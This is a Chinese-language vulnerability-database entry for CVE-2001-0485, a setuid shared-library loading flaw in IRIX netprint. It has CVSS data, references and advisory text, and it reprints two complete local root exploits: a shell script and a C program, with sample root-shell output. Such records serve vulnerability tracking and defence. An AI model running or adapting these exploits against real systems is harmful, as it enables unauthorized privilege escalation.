CVE-2001-0485
CVSS7.2
发布时间 :2001-06-27 00:00:00
修订时间 :2008-09-05 16:24:13
NMCOES    

[原文]Unknown vulnerability in netprint in IRIX 6.2, and possibly other versions, allows local users with lp privileges attacker to execute arbitrary commands via the -n option.


[CNNVD]IRIX 'netprint' 任意共享库使用漏洞(CNNVD-200106-145)

        IRIX 6.2和可能其他的版本的netprint存在未知漏洞。本地用户和lp特权攻击者借助-n选项执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0485
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0485
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-145
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2656
(VENDOR_ADVISORY)  BID  2656
http://xforce.iss.net/xforce/xfdb/6473
(VENDOR_ADVISORY)  XF  irix-netprint-shared-library(6473)
http://archives.neohapsis.com/archives/bugtraq/2001-04/0475.html
(VENDOR_ADVISORY)  BUGTRAQ  20010426 IRIX /usr/lib/print/netprint local root symbols exploit.
http://www.osvdb.org/8571
(UNKNOWN)  OSVDB  8571
http://archives.neohapsis.com/archives/bugtraq/2001-04/0502.html
(UNKNOWN)  BUGTRAQ  20010427 Re: IRIX /usr/lib/print/netprint local root symbols exploit.
ftp://patches.sgi.com/support/free/security/advisories/20010701-01-P
(UNKNOWN)  SGI  20010701-01-P

- 漏洞信息

IRIX 'netprint' 任意共享库使用漏洞
高危 输入验证
2001-06-27 00:00:00 2005-05-13 00:00:00
本地  
        IRIX 6.2和可能其他的版本的netprint存在未知漏洞。本地用户和lp特权攻击者借助-n选项执行任意命令。

- 公告与补丁

        SGI contacted Security Focus and confirmed that this vulnerability exists and has filed it as Bug 822323. The status of this bug can be tracked from the SGI support site, linked to in the reference section of this vulnerability. A security advisory will be released when fixes are ready.
        Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .
        SGI IRIX 6.5.12 f
        
        SGI IRIX 6.5.12 m
        

- 漏洞信息 (270)

IRIX (5.3/6.2/6.3/6.4/6.5/6.5.11) /usr/lib/print/netprint Local Exploit (EDBID:270)
irix local
2001-05-08 Verified
0 LSD-PLaNET
N/A [点击下载]
#!/bin/sh
## copyright LAST STAGE OF DELIRIUM jul 2000 poland            *://lsd-pl.net/ #
## /usr/lib/print/netprint                                                     #
##                                                                             #
## This code gets released due to another post to the Bugtraq mailing list.    #
## For IRIX 6.3 and above this privilage escalation attack can be conducted    #
## by local lp users only.                                                     #

EXECUTABLE=/usr/lib/print/netprint
LIBRARY=lsd
DIRECTORY=/tmp

cd $DIRECTORY
cat > $LIBRARY.c << 'EOF'
OpenConn(){
    printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/\n");
    printf("/usr/lib/print/netprint for irix 5.3 6.2 6.3 6.4 6.5 6.5.11 IP:all\n");
    printf("\n");
    setreuid(getuid(),0);setuid(0);setgid(0);
    execl("/bin/sh","sh",0);
}
CloseConn(){} ListPrinters(){} SendJob(){} CancelJob(){} WaitForJob(){}
GetQueue(){} StartTagging(){} StopTagging(){} Install(){} AddTimeout(){}
RemoveSemiColons(){} ListAllPrinters(){} CreateInterface(){} InstallPrinter(){}
InstallIcon(){} SockRead(){} IsDest(){} BSDSendJob(){}
EOF
cc -c $LIBRARY.c  -o $LIBRARY.o
ld -shared $LIBRARY.o -o $LIBRARY.so
rm -rf $LIBRARY.[co] so_locations
if [ ! -f "$LIBRARY.so" ]
    then
    echo "error: building library"
    exit 1
fi
chmod 666 $LIBRARY.so

$EXECUTABLE -n ../../../../$DIRECTORY/$LIBRARY -h localhost -p lalala bzz-zz


# milw0rm.com [2001-05-08]
		

- 漏洞信息 (20804)

IRIX 5.3/6.x 'netprint' Arbitrary Shared Library Usage Vulnerability (EDBID:20804)
irix local
2001-04-26 Verified
0 V9
N/A [点击下载]
source: http://www.securityfocus.com/bid/2656/info

The 'netprint' utility shipped with SGI Irix systems is used to send print jobs to print spoolers on remote hosts. It is installed setuid root by default.

At the command line, 'netprint' accepts an option to specify the network type (-n). This option is argumented with a string representing the type. 'netprint' uses this argument to open a shared library.

There is no input validation on this string, and as a result it is possible for attackers to have malicious shared libraries used. Since 'netprint' is setuid root, malicious code contained in attacker supplied shared libraries will be executed with superuser privileges.

It has been reported that only 'lp' can execute 'netprint'. On many earlier versions of Irix, 'lp' was a passwordless default account. If this account has not been disabled, it is entirely possible for remote users to log into systems without a password as 'lp' and gain root access using this vulnerability. 

/* (IRIX)netprint[] local root exploit, by: v9[v9@fakehalo.org].  this will
   give you uid=0 on IRIX systems.  this exploit simply takes advantage of
   netprint's -n option to execute arbitrary code and gain elevated privileges.

   example:
------------------------------------------------------------------------------
$ cc xnetprint.c -o xnetprint
$ id
uid=9(lp) gid=9(lp)
$ ./xnetprint /bin/sh
[(IRIX)netprint[] local root exploit, by: v9[v9@realhalo.org]. ]
[*] making symbols source file for netprint to execute.
[*] done, now compiling symbols source file.
[*] done, now checking to see if the symbols source compiled.
[*] done, now executing netprint.
[*] success, uid: 0, euid: 0, gid: 0, egid: 0.
# id
uid=0(root) gid=0(sys)
#
------------------------------------------------------------------------------

   note: built and tested on IRIX 6.2.  this often requires the uid of lp
         to work correctly.  though, should prove effective up to 6.4 or
         higher.
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#define PATH "/usr/lib/print/netprint" /* path to exploitable program. */
#define CCPATH "/usr/bin/cc" /* path to compiler. */
#define SRCFILE "/tmp/xnetrpintso.c" /* path to temporary symbols source. */
#define SOFILE "/tmp/xnetprintso.so" /* path to compile as. */
#define FAKESOFILE "../../../../tmp/xnetprintso" /* arg to feed netprint. */
void cleanup(unsigned short i){
 if(!access(SRCFILE,F_OK))
  unlink(SRCFILE);
 if(!access(SOFILE,F_OK))
  unlink(SOFILE);
 if(i)
  exit(i);
}
int main(int argc,char **argv){
 char *syscmd;
 struct stat mod;
 FILE *symbol;
 printf("[(IRIX)netprint[] local root exploit, by: v9[v9@realhalo.org]. ]\n");
 if(argc<2){
  printf("[!] syntax: %s </path/to/program/to/exec>\n",argv[0]);
  cleanup(1);
 }
 if(stat(PATH,&mod)){
  printf("[!] failed, could not get stats on %s.\n",PATH);
  cleanup(1);
 }
 if(mod.st_uid||!(S_ISUID&mod.st_mode)){
  printf("[!] failed, %s is not setuid root.\n",PATH);
  cleanup(1);
 }
 if(access(argv[1],X_OK)){
  printf("[!] failed, %s doesn't seem to exist or is not executable.\n",
  argv[1]);
  cleanup(1);
 }
 if(access(CCPATH,X_OK)){
  printf("[!] failed, %s compiler doesn't seem to exist or is not executable."
  "\n",CCPATH);
  cleanup(1);
 }
 printf("[*] making symbols source file for netprint to execute.\n");
 cleanup(0);
 if(!(symbol=fopen(SRCFILE,"w"))){
  printf("[!] failed, could not open temporary file to write to.\n");
  cleanup(1);
 }
 fprintf(symbol,"void OpenConn(){\n");
 fprintf(symbol," seteuid(0);\n");
 fprintf(symbol," setuid(0);\n");
 fprintf(symbol," setegid(0);\n");
 fprintf(symbol," setgid(0);\n");
 fprintf(symbol," printf(\"\[*] success, uid: %%u, euid: %%u, gid: %%u, egid: "
 "%%u.\\n\",getuid(),geteuid(),getgid(),getegid());\n");
 fprintf(symbol," execl(\"%s\",\"%s\",0);\n",argv[1],argv[1]);
 fprintf(symbol,"}\n");
 fprintf(symbol,"void CloseConn(){}\n");
 fprintf(symbol,"void ListPrinters(){}\n");
 fprintf(symbol,"void SendJob(){}\n");
 fprintf(symbol,"void CancelJob(){}\n");
 fprintf(symbol,"void WaitForJob(){}\n");
 fprintf(symbol,"void GetQueue(){}\n");
 fprintf(symbol,"void StartTagging(){}\n");
 fprintf(symbol,"void StopTagging(){}\n"); 
 fprintf(symbol,"void Install(){}\n");
 fprintf(symbol,"void IsDest(){}\n");
 fclose(symbol);
 printf("[*] done, now compiling symbols source file.\n");
 if(!(syscmd=(char *)malloc(strlen(CCPATH)+strlen(SRCFILE)+strlen(SOFILE)+13+1)
 )){
  printf("[!] failed, could not allocate memory.\n");
  cleanup(1);
 }
 sprintf(syscmd,"%s %s -shared -o %s",CCPATH,SRCFILE,SOFILE);
 system(syscmd);
 printf("[*] done, now checking to see if the symbols source compiled.\n");
 if(access(SOFILE,R_OK)){
  printf("[!] failed, symbols source was not compiled properly.\n");
  cleanup(1);
 }
 printf("[*] done, now executing netprint.\n");
 if(execl(PATH,PATH,"-n",FAKESOFILE,"-h0","-p0","0-0",0)){
  printf("[!] failed, %s did not execute properly.\n",PATH);
  cleanup(1);
 }
}
		

- 漏洞信息

8571
IRIX netprint -n Arbitrary Command Local Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity Patch / RCS, Upgrade
Exploit Public

- 漏洞描述

IRIX contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when netprint fails to validate input passed via the '-n' option at the command line. A malicious user may send an input string that will cause netprint to open a malicious shared library. In conjunction with the passwordless account 'lp', if enabled on the target system, this vulnerability may be exploited remotely. In either case, whether exploited locally or remotely, this vulnerability may lead to a root compromise and a loss of integrity.

- 时间线

2001-04-26 Unknow
2001-04-26 Unknow

- 解决方案

Upgrade to version 6.5.13 or higher, as it has been reported to fix this vulnerability. In addition, Silicon Graphics, Inc. has released patches for some older versions.

- 相关参考

- 漏洞作者

- 漏洞信息

IRIX 'netprint' Arbitrary Shared Library Usage Vulnerability
Input Validation Error 2656
No Yes
2001-04-26 12:00:00 2009-07-11 06:06:00
First posted to Bugtraq by Vade79 <v9@realhalo.org> on April 26, 2001.

- 受影响的程序版本

SGI IRIX 6.5.12 m
SGI IRIX 6.5.12 f
SGI IRIX 6.5.11
SGI IRIX 6.5.10
SGI IRIX 6.5.9
SGI IRIX 6.5.8
SGI IRIX 6.5.7
SGI IRIX 6.5.6
SGI IRIX 6.5.5
SGI IRIX 6.5.4
SGI IRIX 6.5.3
SGI IRIX 6.5.2
SGI IRIX 6.5.1
SGI IRIX 6.5
SGI IRIX 6.4
SGI IRIX 6.3
SGI IRIX 6.2
SGI IRIX 6.1
SGI IRIX 6.0.1
SGI IRIX 6.0
SGI IRIX 5.3
SGI IRIX 6.5.13

- 不受影响的程序版本

SGI IRIX 6.5.13

- 漏洞讨论

The 'netprint' utility shipped with SGI Irix systems is used to send print jobs to print spoolers on remote hosts. It is installed setuid root by default.

At the command line, 'netprint' accepts an option to specify the network type (-n). This option is argumented with a string representing the type. 'netprint' uses this argument to open a shared library.

There is no input validation on this string, and as a result it is possible for attackers to have malicious shared libraries used. Since 'netprint' is setuid root, malicious code contained in attacker supplied shared libraries will be executed with superuser privileges.

It has been reported that only 'lp' can execute 'netprint'. On many earlier versions of Irix, 'lp' was a passwordless default account. If this account has not been disabled, it is entirely possible for remote users to log into systems without a password as 'lp' and gain root access using this vulnerability.

- 漏洞利用

Vade79 &lt;v9@realhalo.org&gt; has written an exploit for this vulnerability.

- 解决方案

SGI contacted Security Focus and confirmed that this vulnerability exists and has filed it as Bug 822323. The status of this bug can be tracked from the SGI support site, linked to in the reference section of this vulnerability. A security advisory will be released when fixes are ready.

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.


SGI IRIX 6.5.12 f

SGI IRIX 6.5.12 m

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站